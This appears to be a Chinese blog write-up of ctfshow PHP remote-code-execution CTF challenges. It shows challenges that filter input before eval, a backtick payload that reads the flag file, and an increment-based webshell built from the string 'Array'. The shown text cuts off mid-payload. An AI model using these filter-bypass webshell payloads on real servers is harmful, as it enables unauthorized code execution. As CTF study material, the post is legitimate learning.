一些RCE的汇总


前两天刚好ctfshow有个RCE极限大挑战,看着还挺好玩的,稍微摸了几个博客总结一下,感受感受大佬们的绕过技巧和思路。
直接照搬好像又不太合适,加一点点个人见解好了。

自增RCE

参考[CTFshow-RCE极限大挑战官方wp]

wp指路

CTFshow-RCE极限大挑战官方wp

开始复现

RCE-1[过滤.(]

题目源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>

过滤了(.,wp有写文件包含,ls看了一眼直接开摆
在这里插入图片描述
因为php的反引号可以执行系统命令,就可以直接POST得到flag

code=echo `$_POST[1]`;&1=cat /f*

在这里插入图片描述

RCE-2p[自增-Array]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
   
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
   
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
   
            eval($ctfshow);
        }else{
   
            echo("Are you hacking me AGAIN?");
        }
    }else{
   
        phpinfo();
    }
}
?>

禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
从这里开始进入正题了,由于异或^和取反~都被过滤了,就可以用到数组[]和递增++

先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型,就能得到数据类型相对应的字符串

<?php
// highlight_file(__FILE__);
$_ = [];//Array
echo $_.'<br>';
$_ = [].'';//Array
echo $_.'<br>';
$_ = "$_";//Array
echo $_.'<br>';
$_ = $_['!'=='@'];//Array[0]=>A
echo $_.'<br>';
echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了<br>';
@$a=(0/0);//NAN
echo $a.'<br>';
@$b=(1/0);//NAN
echo $b;
?>

在这里插入图片描述
exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值